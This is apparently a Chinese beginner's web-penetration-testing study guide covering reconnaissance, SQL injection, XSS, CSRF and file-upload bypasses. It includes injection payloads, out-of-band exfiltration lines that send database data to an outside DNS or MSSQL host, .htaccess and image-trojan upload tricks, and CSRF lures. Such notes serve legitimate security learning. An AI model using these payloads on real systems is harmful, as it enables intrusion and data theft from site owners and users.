每日一句:仰望星空的时候,不要忘记脚踏实地本文内容:1.    web通信基础2.   后端数据库正则3.   信息收集4.  sql注入5. XSS6.   CSRF7.  文件上传8.  验证码、密码找回漏洞9.    越权漏洞10. SSRF11. 支付漏洞12. XXE13.  变量覆盖14. 文件包含漏洞15.   序列化16.  Bypass绕过[SQL注入]17.  Bypass绕过[Webshall]18.   代码审计

一、web通信基础

常用端口:80端口:http协议、3306端口:Mysql、1433端口:MSSQL、1521端口:oracle、445端口:共享文件或共享打印机、22端口:ssh、443端口:网页浏览8080端口:www代理服务、6379端口:redis、3389端口:远程服务协议21端口:主要用于ftp,文件传输协议注意:上边均为默认端口--->默认设置(可以改动)--------------------------------------------------------------------------------------------------------------------------------------
1,IP:IP地址实际上就是你电脑的地址。IP存在内网和公网:内网地址是路由器分配,(唯一,需要前提:局限范围)查询方式: cmd  ipconfig。公网地址是运营商分配。(唯一) 查询方式: cmd  ipconfig  ;    浏览器百度   “IP”
2.域名:实际上就是为了方便记忆所发明的一个字符型表示。DNS将域名转换为IP的一个协议DNS解析:浏览器缓存-host文件-路由器-运营商-根服务器(全世界13台)几级域名几个点.可以这样理解。
3.端口:端口就像电脑的接口,主要是网络接口。范围:0-65535(2^16-1)0端口是预留端口,一般不会用的到一般一个端口代表着一个电脑服务
4.HTTP协议:超文本传输协议,是互联网上应用最为广泛的一种网络协议补充:https = http +  ssl(相对安全,ssl简单理解为一种加密协议)
5,cookie:凭证,代表身份,具有时效性、 注意与session(会话)的关联
6,区分服务器系统:win:查看路径,路径如果是具有盘符是win。linux:查看路径,路径如果是//是linux,毕竟macOs做系统还是很罕见的。路径大小写,敏感是linux,否则是win
7,绝对路径,相对路径区分:具有盘符是绝对路径。
8,常见Web容器:IIS(Windows)Apache(全平台)Nginx(全平台)Tomcat
9,GET&POST传参区别:GET:短小、快速、限制长度POST:大容量、慢、相对更安全,传参在body
10.CMS意为内容管理系统实际上就是一个快捷建站的模板,常见的CMS有织梦cms,帝国cms等
11. 动态语言的作用:动态编辑web页面,改变或添加任何的内容,对html提交的请求或数据进行响应,访问数据或数据库,返回结果,定制不同页面,提高网页安全性

二、后端数据库正则

1,前端语言之间的联系:html:人的身体css:人的衣服js:人的动作身体、衣服、动作
2,数据库(Mysql):1.数据库:就是将大量数据保存起来,通过计算机加工而成的可以高效访问的数据集合。数据库是长期储存在计算机内、有组织的、可共享的数据集合。简单说,就是存储数据的仓库2.常见数据库:Mysql、oracle、Sql Server、Access、DB2等3.MySql常用语法:[新建数据库]          create database ku_name;[查看所有数据库]       show databases;[查询当前库名]     select database();[删除数据库]           drop database ku_name;[新建表]         create table table_name;[查看所有数据表]       show tables;[删除表格]              drop table table_name;[查看表的类型]          desc table_name;[删除表里面的字段]      alter table table_name drop column_name;[添加表里面的字段]      alter table table_name add column_name column_type;[修改字段名和属性]       alter table table_name change column_name xincolumn_name xincolumn_type;[查询当前用户]            SELESCT USER()或SYSTEM_USER();   [查询数据库版本]           SELESCT VERSION();字段属性:主键:PRIMARY KEY[不能为空且唯一]、自增长:AUTO_INCREMENT、不能为空:NOT NULL 、设置编号CHARSET=UTF-8[插入数据] INSERT INTO table_name VALUES ('value');[插入数据] INSERT INTO table_name (column_name) VALUES ('value');[查询数据] selecr * from table_name;  [查询数据] select column_naem from table_name;[修改数据] UPDATE table_name SET column_name='修改value'   [修改数据] UPDATE table_name SET column_name='修改value' where column_name= 某条件;[删除数据] delete from table_name where column_name= value;4.MySQL的基础查询语句:select * from 表 order by字段 ASC默认/DESC;升序(从小到大)ASC;降序(从大到小)DESC模糊查询:select * from 表 where username like '%x%'%:像的意思,类似于通配符联合查询表的内容重复不显示:select * from 表1 UNION select * from 表2;表的内容重复显示:select * from 表1 UNION ALL select * from 表2;注意事项:两次查询的字段数必须一致。子查询:当一个查询是另一个查询的条件时,称为子查询。
3,php:   1.什么是PHP?PHP(超文本预处理器)是一种通用开源脚本语言,(是动态语言中的一种,动态语言还有ASP,ASPX,JSP)PHP语法吸收了C语言、java和Perl的特点,主要适用于Web开发领域。PHP是将程序嵌入到HTML文档中去执行,前端代码。PHP还可以执行编译后代码,编译可以达到加密和优化代码运行,使代码运行更快。PHP支持几乎所有流行的数据库以及操作系统。2.使用场景:网站需要动态操作的,如注册、登录、查询。网站需要生成静态文件确保安全的。需要快速看见效果的项目。部分游戏服务端,(swoole扩展)。3.php基础语法:1.xml风格:<?php 开头,以?>结尾。2.脚本风格:<script language="php"></script>3.变量声明(美元符开头,如 $value;)4.常量声明(define (常量名,常量值))5.函数调用:必须是用括号将参数包起来,如md5("admin");4.PHP操作Mysql语句链接数据库:mysqli相当于插件,就像是php中的扩展,专门链接Mysql用的$coon=mysqli_connect("127.0.0.1","root","root","db_name");127.0.0.1:访问的地址root   账号root  密码db_name   数据库库名$conn=mysqli_connect("addr","usr","password");选择数据库:(相当于执行SQL语句的use)mysqli_select_db($conn,"db_name");执行SQL语句:$result = mysqli_query($conn,"SQL");SQL:SQL语句。遍历查询结果:$row=mysqli_fetch_row();  返回一行$table=mysqli_fetch_all(); 返回全部内容(一个表)$row=mysqli_fetch_array($result);关闭数据库链接:mysqli_close($conn)
4,表单:1.什么是表单?表单在网页中主要负责数据采集。2.组成:表单标签:<form action="URL"method="GET/POST">action:数据提交到哪里。method:什么方式提交。表单按钮表单域:文本框、密码框、隐藏域、复选框、单选框、文件上传框、多行文本框(文本域)      3.使用场景:登录框搜索框留言框上传框……(各种框)4.验证表单:是否存在敏感内容 stripos() 、stristr()stripos:查找字符串首次出现的位置(不区分大小写)stristr:查找字符串首次出现的位置,并返回其余部分字符串要求                        检测函数                说明字符串不能为空:           strlen()            判断字符串长度是否为0整数不小于1,不大于100         <= >=               使用大于小于判断整数范围数组元素3个                  count()             判断数据元素个数必须为数字                   is_numeric()        如果为数字返回true否则返回false必须是数组                   is_arrary()         数组返回true,非数组返回false不能为空                  is_null()           为空返回true,否则返回falseisset()                若存在该变量且不为null,则返回true,否则返回false。
5,正则:1.是什么?正则表达式:又称规则表达式,在计算机科学的一个概念,正则表达式通常被用来检索,替换那些符合某个模式(规则)的文本。2.PHP中正则表达式常用函数:PHP中使用正则规则一定要加代表正则的标识/ 正则 /preg_match_all(正则表达式、匹配字符串、匹配到的东西放入数组)返回匹配的次数。preg_replace(正则表达式、替换成什么、匹配字符串)返回替换的结果注意:替换支持数组格式。 3.正则表达式的语法:常用转义字符:数字/非数字:\d     \D空白字符(空格、制表符、换页符等)/非空白字符:\s   \S单词字符(26个英文字母+数字+下划线)/非单词字符:\w  \W 字符集合:[单个字符或字符区间],用于匹配集合内字符如:[a-z]表示a-z这26个小写字母[0-9a-z]表示0-9这10个数字和a-z26个小写字母[135a-h]表示包含数字1,3,5和字母a-h这8个字母注意:两个不同字符段间请勿使用,隔开。非集:[^单个字符或字符区间],用于匹配非集合内字符如:[^0-9]表示匹配所有非数字字符。[^a-zA-Z]表示匹配所有非字母字符关键字:()和数学一样很像,代表这是一个整体。^匹配输入字符串的开始位置。$匹配输入字符串的结尾位置。.通配符[代表任意字符][不匹配换行]*匹配0次或者多次+匹配1次或者多次\转义字符|两项之间的一个选择限定符:{n} 例如:0{8} 意思是指只有连起来8个0才会匹配。{n,} 例如:0{2,}意思是只要有2个0及其以上的就会被匹配{n,m}例如:0{2,4} 意思是最少匹配2个0,最多匹配4个0注意:被匹配是,默认匹配最多的次数。修饰符:/i 不区分大小写/A 匹配规则必须从头开始匹配/s .将匹配一切字符/x 正则表达式中的空白字符会被忽略/e 代码执行preg_replace() 可以写一句话但是不能连接菜刀file_put_contents 函数[把字符串写入文件]file_put_contents(写入文件的地址,写入的文件内容)正则过滤是主流防护手段,基本过滤各种注入(sql、xss、xxe)
时刻分清楚  代码与数据的界限

三、信息收集

1,信息收集的重要性:当你收集的信息比别人多且更详细的时候,那么你就掌握了先机。渗透测试——安全是个水桶效应,安全的高低,取决于最薄弱的点。2,信息收集的方向:1.whois:是什么:whois是域名注册时留下的信息,如管理员的名字、邮箱、手机号。whois是查询域名的IP以及所有者等信息的传输协议。whois是用来查询域名是否已注册,以及注册域名详细信息的数据库(如域名所有人、域名注册商)。whois是一个在线'请求/响应'式服务。作用:域名注册人有可能是网站管理员,可以通过查询、社工、讨论,看他是否注册其他域名,扩大攻击范围。收集方法:在浏览器中直接搜索whois,有很多网站可以查询,如站长之家、whois.net。补充:对一家公司就行渗透测试,也可以使用天眼查。撞库:是一种现象,就是怕密码设置太多,记不住,而把所有密码都设置成一样的。2.子域名:是什么:顶级域名下的二级域名、三级域名甚至更多级域名,都是子域名,一些直接用IP访问的Web网站也是子域名的收集范围。作用:扩大攻击范围,同一域名下的子域名都属于相同资产,一般而言都有相关的联系。收集方法:通过Gooke Hacking语言,进行寻找(爬取搜索引擎)。通过云悉资产、微步社区。通过使用工具爆破DNS服务器。通过网页内蜘蛛爬虫。通过查询域名证书。收集工具:layer子域名挖掘机3.补充常见域名com 商业net 网络服务org   组织协会gov 政府mil   军事int   国际edu 教育cn  中国
3.端口检测:  为什么收集:有些危险端口开放了,我们就可以尝试入侵。可以尝试爆破或者利用某些端口存在漏洞的服务。可能在一台服务器上不同端口,代表不同的Web网站。同端口,代表同一服务器或者同一内网。开放端口入侵工具:3389:MSF(kali自带)445:九头蛇爆破21:ftp收集方法:使用nmap收集nmap扫描之后,会给对方服务器留下大量的日志和访问请求。端口:端口分为两种:物理端口:如usb,电脑接口。逻辑端口:一般是http/ip协议中的端口。范围:0-65535端口分类:周知端口:范围0-1024,众所周知的端口。注册端口:范围1024-45151,主要是用户选择安装一些应用程序。动态端口:范围49151-65535,一般不固定分配给某个服务。nmap:nmap是一个网络连接端扫描软件,用于扫描网上电脑开放的网络连接端。nmap功能:扫描目标网络内活跃的主机。推测主机操作系统。检测主机端口。nmap常用命令:nmap url/ip                最常用的命令nmap -p 80 url/ip         自定义想扫描的端口nmap -p 1-255 url/ip   自定义想扫描的端口范围nmap -r url/ip           随机扫描端口nmap -O url/ip            启用操作数据监测nmap -O -fuzzy url/ip   推测操作系统nmap -sV url/ip           版本探测nmap -sV --version -intensity url/ip 设置版本扫描强度(0-9)nmap -A-T4 url/ip -A结合操作系统检测和版本扫描,T4 时间模板44.目录扫描:为什么收集:扫描目录可能会得到不同网站、备份文件、路径泄露。收集方法:使用御剑、drimap等工具扫描。作用:扫出后台,弱密码,撞库。敏感信息文件下载、数据库备份文件下载。文件上传,拿最高权限、拿服务器。状态码:200 访问成功302 重定向403 拒绝访问404 不存在
5.指纹识别:是什么:指纹代表身份,网站指纹=网站特征,比如数据库、中间件、cms。作用:   cms可能存在通杀漏洞,如果使用cms建站,可以使用通杀漏洞直接攻击。怎么收集;站长之家、whatweb、bugscaner
6.旁站:是什么:同一个ip上面的多个网站。为什么要收集:拿到旁站,如果运气好,和主站在一台机器上,就可以拿到主站,如果运气不好,在一个内网内,可以尝试内网渗透。收集方法:站长之家,同ip查询。在线查询,phpinfo.me/bing.phpCDN:内容分发网络cdn:缓存服务器,存储网站的静态资源,提高网站响应速度和用户体验。绕过:想要绕过cdn,就要先判断它是否存在CDN,可以使用站长之家,多点ping,看看IP是否相同找到真实IP方法:内部邮件源(必须是目标自己的邮件服务器)子域名:有些网站的主站访问量过大,需要设置CDN,而子站却没有。国外访问:国内的CDN主要是针对国内用户,国外不好说。查询域名解析记录:可能目标网站,很久以前没有使用cdn。
7.C段:确定ip的范围,对段内ip主机进行信息收集。是什么:整个ip段,比如x.x.x.1-255为什么收集:整个C段,可能同一内网、同一管理、同一份资产。注意:C段攻击需谨慎,太容易误伤。收集方法:站长之家,phpinfo.me/bing.php
8.敏感信息泄露:通过Gookie Hacking语言,查找敏感内容,如身份证号、账号密码文件等。谷歌语法:""          双引号内容不可拆分。site:     指定域名inurl:      url内存在的关键网页。intext:     正文存在的关键字。intitle:   标题存在的关键字。filetype:  指定文件类型。like:域名  所有与域名链接的url。info:       查找指定目标站点的一些基本信息。
3,空间搜索引擎:通过网络空间搜索引擎,我们能够找到开放的服务以及在线的网络设备。常见引擎:1.钟馗之眼2.shodan3.fofa

四、sql注入

1,sql注入的本质:sql注入的本质是把用户输入的数据当做sql语句执行。
2,sql注入的条件:~用户能控制输入。~程序原本执行的代码,拼接了用户输入的数据去执行。
3,sql注入的判断方法:~and 1=1 和 and 1=2~id=1 和 id=1'~id=1 和 id=2-1~and -1=-1 和and -2=-2              ==对第一条的进阶~or 1=1 #                           ==对post传参进行测试
4,sql注入使用的函数:1.通用:group_concat() 将查询到的信息放置一行输出;注意与limit n,m的区别2.报错注入:updatexml(1,concat(0x7e,(database()),0x7e),1)注意补全不同场景的格式3.布尔盲注:ascii(substr(database(),1,1))4.延时盲注:if(ascii(substr(database(),1,1))>x,sleep(5),'a')5.cookie&偏移注入:document.cookie="id="+escape('xxx')、exists()在浏览器,F12,控制台输入6.DNS注入:load_file()7.MSSQL反弹:opendatasource('sloledb','')8.ORACEL报错:and 1=ctxsys.drithsx.sn()5,sql注入的分类:1.显错注入:本质上没有区别,只是传参位置不同。GET注入:直接在url栏目中POST注入:常见位置:登录框、查询框、所有和数据库信息有交互的框。HEAD注入:php变量存在超全局变量,$_REQUEST、$_GET、$_POST、$_COOKIE、$_SERVER。本质:一些网站会获取请求头的一些信息,存到数据库,利用这点可以将恶意代码放到请求头中,然后发送给服务器,如果服务器没有验证过滤就将恶意代码执行,就完成了一次head攻击存到数据库一般是插入语句,插入语句没有回显,可以使用报错和盲注。报错注入函数:updatexml(1,concat(0x7e,(database()),0x7e),1,)获取数据的方法:$_SERVER['HTTP_REFERER'] 获取Referer请求头数据。$_SERVER['HTTP_USER_AGENT']获取用户相关信息,包括用户浏览器、操作系统等信息。$_SERVER['REMOTE_ADDR']获取浏览网页的用户IP。COOKIE注入:使用场景:使用$_REQUEST[]接收参数,GET、POST传参被拦截。注入函数:document.cookie="id"+escape()、exists()更改cookie方法:在浏览器控制台js语句、抓包更改、插件更改。2.盲注:使用场景:盲注就是在服务器关闭了错误回显的情况下使用。布尔盲注:根据注入的信息返回Ture和False。布尔盲注函数:ascii(substr(database(),1,1)>x)时间盲注:无论注入任何信息都返回Ture,加入特定的时间函数,通过查看Web页面返回时间差来判断注入的语句是否正确。时间盲注函数:if(ascii(substr(database(),1,1)>x),sleep(5),'a')   使用函数:length() 返回长度substr(str,stat,len),截取字符串,str字符串,stat开始位置,len截取长度。ascii() 返回字符串的ASCII码sleep() 休眠时间3.其他:宽字节注入:使用场景:在遇到魔术引号时。魔术引号:就是将单引号、双引号、反斜杠、null等字符前添加转义字符'\' 开关:magic_guotes_gpc。本质:使用特殊字符将魔术引号添加的转义字符'\'组合起来,让它失去转义的作用。数据库编码是非英文就可能产生宽字节注入。     偏移注入:使用场景:    在sql注入会遇到一些无法获取列名或遇到ACCESS数据库情况下,库表字段名奇葩工具无能为力。使用函数:  document.cookie="id"+escape("xxx")、exists(),就是判断查询是否具有数据。新颖方法:  select admin.* from admin   admin.*就是admin表里所有字段。使用要求:   注入点的表要比查询表的字段数大(前表大于后表)。MySql-DNS注入:使用场景: 在某些无法通过漏洞直接获取回显的情况下,但目标可以发送请求,load_file(),读取文件功能开启。原理:     将select查询的数据发送给一个url,利用dns解析产生的记录日志来查看数据UNC路径:    通用命名规范、通用规则、通用规定,远程共享文件的一种格式。使用函数:   and(select load_file(concat('//',(select database()),'域名/文件')))、limit n,m域名注册地址:http://dnslog.cn/MSSQL-反弹注入:使用场景:       明明是注入点,却无法进行注入,注入工具猜测异常缓慢,错误提示信息关闭,无法返回注入结果。原理:          就是把查询出来的数据发送到我们的MSSQL服务器上,然后把数据插入到数据库里面。使用函数:        select opendatasource('sqloledb','server=服务地址;uid=用户;pwd=密码;database=库名').库名.dbo.表名 select * from admin。MSSQL快速搭建:   http://www.webweb.com (香港云) https://bccto.me/ (匿名邮箱)常用sql语句: dbo.sysdatabases (查询库名) sysobjects where xtype='u' (查询表名)    syscolumns where id= 指定sysobjects库中表名对应id值 (查询字段名)。注意点:1.联合查询要用union all。2.猜输出点要用null去填充。3.注释要使用-- +,-- qwe(不要想着#)。         Oracle-报错&显错注入核心:        使数据库出错,然后强行丢出一个致命性错误,这个错误信息里面的内容我们可以控制。使用函数:   and 1 = ctxsys.drithsx.sn(1,(select database())),可以使用<>不等于,取后边的数据,语法:and 字段<>记录。常用sql语句:1.select * from user_tables 查询出当前用户的表。2.select * from user_tab_columns 查询出当前用户的字段。3.select * from all_tables 查询出所有的表。4.select * from all_tab_columns 查询出所有的字段。注意:报错:一行数据、一个字段。select1,2,3这样的语句oracle是无法执行,需要后跟表名,一般用Dual(虚表),作用:  为了满足sql语句的结构,为了严谨的语法。
6,sql注入工具的使用:1.sqlmap:是应用最广泛的自动化检测,利用sql注入的渗透测试工具,支持多种数据库。基础命令:sqlmap -u 指定注入点。sqlmap -D 指定数据库。sqlmap -T 指定数据表。sqlmap -C 指定字段。sqlmap -r 打开文件。sqlmap --form 表单。sqlmap --dbs 跑库名。sqlmap --tables 跑表名。sqlmap --columns 跑字段。sqlmap --dump 跑数据,敏感命令,拓库。常见指令:sqlmap --random-agent 选择随机的user_agent。sqlmap --delay=1 推迟检测速度(防止访问过快被ban)。sqlmap --level3 检测等级,大于2检测Cookie,大于3检测头注入。sqlmap --flush-session 清除缓存。sqlmap --count 查看数据量。sqlmap --is-dba dba如果的是True,就可以尝试直接拿Webshall。sqlmap --os-shell 向网站中投入cmdshell,有时候需要web网站的绝对路径,有时候只需要选择好shell的语言类型,就可以拿shell。2.Burpsuite:是web应用平台集成工具,包含了许多工具。简单操作:如何抓包、如何抓返回包、如何单放包且查看返回包。

五、XSS
XSS跨站脚本攻击
CSRF跨站请求伪造
SSRF服务器端请求伪造

1,XSS本质:XSS的本质是把用户输入的数据当做HTML等前端代码执行。
2,两个关键条件:1.用户能控制输入。2.用户输入的数据,拼接了HTML等前端代码,然后去执行。
3,判断方法:   1.标签:<script>alert(1)</script>,将弹窗当做判定。2.伪协议:JavaScript:alert(1)3.事件型:常用的有:onerror(失败加载执行)、onload(成功加载执行)、oninput(有输入框、输入的时候触发),onfocus获取焦点
4,分类:1.反射型XSS:成功实现的XSS,仅本次访问有效,非持久性。作用:就是验证是否具有XSS,尽量打出存储型XSS。2.存储型XSS:成功实现的XSS,存储数据库,每次访问有效,持久性。危害:1.偷取cookie(在那偷那)。2.获取内网IP3.获取浏览器保存的明文密码4.获取网页上键盘记录。3.Dom型XSS:Dom型xss攻击与服务器基本没关系,原本不存在XSS,经过js语句处理产生的。反射型XSS经过js处理变成反射Dom型Xss。存储型XSS经过js处理变成存储Dom型Xss。Dom的核心就是操纵document,document的核心就是操纵浏览器Document对象属性:body:提供对<body>元素直接访问,对于定义了框架集的文档,该属性引用最外层的<frameset>。cookie:设置或返回与当前文档有关的所有cookie。domain:返回当前文档的域名。lastModified:返回文档被最后修改的日期和时间,可以通过它判断页面是不是伪静态。referer:返回载入当前文档的文档URL。title:返回当前文档的标题。URL:返回当前文档的URL。Document对象方法:close():关闭用document.open()方法打开的输出流,并显示选定的数据。getElementsByid():返回对拥有指定ID的第一个对象的引用。getElementsByName():返回带有指定名称的对象集合。getElementsByTagName():返回带有指定标签名的对象集合。open():打开一个流,以收集来自任何document.write()或documnet.writeln()方法的输出。write():向文档写HTML表达式或JavaScript代码。writeln():等同于write()方法,不同的是在每个表达式之后写一个换行符。document.write():核心在于输出,它可以接收native编码值。它是js语句,js语句会解码某些编码。编码地址:http://tool.oschina.net/encode?type=3
5,其他:1.XSS平台:XSS平台:因为达到各种各样的效果需要比较复杂的代码 xsspt.com(开放注册)xss9.com(需要邀请码),只需要引入一个平台外部链接就可以实现功能了2.防御手段:过滤:尖括号、单引号、双引号、限制输入长度。特殊符号实体化编码。3.常见场景:重灾区:评论区、留言区、个人信息、订单信息,各种与url传参等针对型:站内信、网页即时通讯、私信、意见反馈存在风险:搜索框、当前目录、图片属性等4.流程:先判断是否存在XSS,如果有,就使用XSS平台生成的代码打。5.XSS核心:写的进去:能一字不差的写进去。输的出来:能一字不差的输出来。如果一个XSS只能写进数据库了,但是数据库永远不调用,它永远都不会在你的浏览器里显示出来,它永远都没有用。6.XSS与SQL注入的区别:1.XSS一定要写的进去,显得出来。2.SQL注入能写进去,只要执行了就行,回显不重要。      3.sql注入是拼接的sql语句,XSS拼接的是前端代码。

六.CSRF
XSS跨站脚本攻击
CSRF跨站请求伪造
SSRF服务器端请求伪造

1,CSRF(跨站请求伪造):1.原理:就是偷偷的发数据,当你访问一个网站,浏览器就会认为你信任那个网站,于是那个网站让它做什么,它都会去做。核心:(缺乏验证)2.CSRF与XSS区别:1.xss是操作目标网站的前端代码  窃取cookie。2.csrf是在非目标网站的前端代码做手脚,让浏览器偷偷的去访问目标网站,利用Cookie,实际上它是得不到Cookie的,浏览器会自动填充Cookie进行访问数据。3.危害:攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号、购买商品,虚拟货币转账。造成的问题包括:个人隐私泄露以及财产安全。4.限制:网站Cookie不能失效,不能具有CSRF防护,得访问目标网站。5.过程:自己先构造恶意语句(使用BrupSuite):抓取数据包——右键——Engagement tools——Generate CSRF PoC——将html代码复制下来——保存到html文档中,骗人点击。网站没有防护,攻击成功。6.预防:可以强行用验证码(强制用户必须和应用进行交互,但是体验性太差)。请求中加随机Token值(是解决CSRF,现有阶段最好、最有效且最有力的方法)。Token是一种验证机制,什么是Token值(不同的表单包含一个不同的随机值)。可以理解为,就是验证码,只不过不用在手工输入了

七、文件上传

1,文件上传:判断前后端检测:使用BurpSuite抓包,有数据包为后端,无数据包直接拦截的为前端。2.分类:PHP:前端检测:白名单:允许上传什么。黑名单:不允许上传什么。绕过:1.关闭js。2.抓包修改。后端检测:白名单:允许上传什么。00截断:%00和00就是代表一个结束符。例如:1.php%00.jpg。或者抓包在hex中修改条件竞争:两个(线程)同时去抢(资源),不知道到底哪个能抢到,此处便形成了竞争。可以使用BurpSuit去跑,一个疯狂上传,一个疯狂访问。就是和服务器的删除函数,进行竞争。黑名单:不允许上传什么。1.文件后缀类型绕过:php: php、 phtml、php3、php4、php5jsp: jap、jspx、jspfasp: asa、cer、aspxext: exee2. .htaccess文件绕过:修改配置文件:AddType application/x-httpd-php .jpg 这个指令代表着.jpg文件会当做php解析。将这句代码放进txt文件,将文件名修改成功.htaccess,然后上传它就可以了。3.文件后缀大小写绕过。4.文件后缀(空/空格)绕过。5.文件后缀(点)绕过。6.Windows文件流绕过NTFS::$DATA利用windows特性,可在后缀名中加::$DATA 绕过。7.构造文件后缀绕过,如php.. 8.双写文件后缀绕过。如pphphpASP:前端检测:白名单:允许上传什么。黑名单:不允许上传什么。绕过:1.关闭js。2.抓包修改。后端检测:白名单:IIS6.0解析漏洞(二)[IIS5.1和IIS7.5无此漏洞]:在处理含有特殊符号的文件路径时会出现错误,从而造成文件解析漏洞。a.asp;.jpg 当做asp进行解析。IIS6.0解析漏洞(三)[IIS5.1和IIS7.5无此漏洞]:在处理含有特殊符号的文件路径时会出现错误,从而造成文件解析漏洞。a.asp/123.jpg 它将当做asp进行解析。请求a.asp/x.jpg的理解:这相当于构建了一个新的文件夹a.asp,凡是这个文件夹里的文件都会以asp去执行。               黑名单:IIS6.0解析漏洞(一)[不是漏洞,只是默认配置的问题][适合拿来绕过黑名单机制]:中间件会将文件后缀名字为.asa .cer .cdx都会当做asp去解析。本质因为IIS6.0在应用程序扩展中默认设置了.asa .cer .cdx都会调用asp.dll解决方法:直接将相应配置删掉即可。CGI(中间件)解析漏洞:CGI是什么?简单的说,可以理解为是web服务器和独立程序之间的管家,服务器将a类型文件,交给CGI,CGI交给处理a类型文件的程序如何理解?当访问www.xx.com/phpinfo.jpg/1.php这个url。CGI一看是php后缀结尾,便给php程序去执行,php去找名字为“phpinfo.jpg”的文件夹,没找到,便去找“phpinfo.jpg”的文件,找到后执行。注意:仅用于php。这是一个逻辑问题,所以说我们只需要在正常的.jpg后边加/.php就可以成功绕过解析。     这不是Nginx特有的漏洞,在IIS7.0、IIS7.5等Web容器中也经常会出现这样的解析漏洞。        漏洞本质:少了再次检测的环节3.其他补充:1.白名单比黑名单更可靠。2.图片马的制作在txt中写一句话木马,准备一张图片,(注意文件大小,越小越好)打开cmd输入 copy 1.png/b + 1.txt 123.png(将a.jpg和1.txt合并为123.jgp, /b的意思就是把它当做二进制去拷贝(注:是效果))图片马经过二次压缩就失效了3.gif图片马可以绕过二次渲染

题外话:
本来想放在同一篇文章,但是内容太长了。影响阅读体验,故拆分为两篇,此为上篇。
另外,此内容由好友(小墨)总结,本人感觉不错,整理后分享。
希望大家都能有所收获,多为我国网络信息安全出一份自己的力量。做一个正直的白帽子

网络安全入门到精通(总结篇) 最终篇(上)相关推荐

  1. MyBatis-Plus 从入门到精通,这一篇就够了【推荐收藏】

    MyBatis-Plus 从入门到精通,这一篇就够了[推荐收藏] mybatis-plus是一款Mybatis增强工具,用于简化开发,提高效率.下文使用缩写mp来简化表示mybatis-plus,本文 ...

  2. SpringBoot入门到精通_第6篇 _必知必会

    接上一篇:SpringBoot入门到精通_第5篇 _SpringBoot Actuator监控 https://blog.csdn.net/weixin_40816738/article/detail ...

  3. SpringBoot入门到精通_第5篇 _SpringBoot Actuator监控

    接上一篇:SpringBoot入门到精通_第4篇 _开发三板斧 https://blog.csdn.net/weixin_40816738/article/details/101097161 文章目录 ...

  4. SpringBoot入门到精通_第4篇 _开发三板斧

    接上一篇:SpringBoot入门到精通_第3篇 _应用组件分析 https://blog.csdn.net/weixin_40816738/article/details/101096218 文章目 ...

  5. SpringBoot入门到精通_第3篇 _应用组件分析

    接上一篇:SpringBoot入门到精通_第2篇 _1分钟实战需求项目 https://blog.csdn.net/weixin_40816738/article/details/101095964 ...

  6. SpringBoot入门到精通_第2篇 _1分钟实战需求项目

    接上一篇:SpringBoot入门到精通_第1篇 _核心概念 https://blog.csdn.net/weixin_40816738/article/details/94916051 文章目录 一 ...

  7. SpringBoot入门到精通_第7篇 _必知必会总结

    接上一篇:SpringBoot入门到精通_第6篇 _必知必会

  8. SpringBoot入门到精通_第1篇 _核心概念

    SpringBoot 必知必会 核心精粹 文章目录 一.SpringBoot必知必会 1. 是什么?能做什么? 2. 有哪些特性? 一.SpringBoot必知必会 1. 是什么?能做什么? 是什么? ...

  9. Android Studio2.0 教程从入门到精通MAC版 - 安装篇

    来自:http://www.open-open.com/lib/view/open1466430392743.html 前言 这个教程你将学会如何使用Android Studio2.0开发Androi ...

  10. MySQL零基础从入门到精通(多表篇)

    MySQL零基础从入门到精通(多表篇) MySQL零基础从入门到精通(多表篇) 实际开发中,一个项目通常需要很多张表才能完成.例如:一个商城项目就需要分类表(category).商品表(product ...

最新文章

  1. ajax原理 博客,AJAX工作基本原理
  2. C++:类对象的复制和赋值
  3. Hibernate Log4j日志记录
  4. linux shell实现随机数多种方法(date,random,uuid)
  5. python万年历时钟_python实现万年历类calendar
  6. java 调用 spring,java中使用redis和spring中调用redis
  7. 正态分布下含绝对值的期望求解 -- 待验证
  8. Fuchsia中GN与Ninja构建demo
  9. 是什么破除了Kubernetes网络难关,拯救了无数云原生时代的开发者?
  10. 日志管理Rsyslog
  11. Bolt引擎内置的元对象介绍
  12. 3GP格式转换为AMV格式
  13. H5纯页面方式手机端实现“扫一扫”功能(不是直接调起摄像头)
  14. 虎跃后台管理系统,数据分发+授权管理+权限管理
  15. centos7.6 桌面版本 网卡重启失败 记录
  16. k8s eviction机制
  17. oracle移动文件命令是什么意思,Oracle使用命令移动各类文件的方法
  18. React实战:留言板
  19. Unity全局音量控制以及音量信息存储在本地
  20. 意迷观看欧冠决赛慌乱踩踏 公共安防再次升级

热门文章

  1. python实现经典密码学中列移位算法
  2. linux下文件的重命名方法
  3. 二维码(生成二维码和扫描二维码)超简单 超简易
  4. Linux学习笔记:
  5. CAPL基础篇-----CAPL与Panel的交互
  6. JavaScript系列之FileReader
  7. JEP 378 Text blocks private interface methods
  8. 工具推荐 10款移动界面原型设计工具
  9. 【2022秋招】IC设计/FPGA开发秋招经历总结(2)——公司专题
  10. rsyncd.conf 文件man手册翻译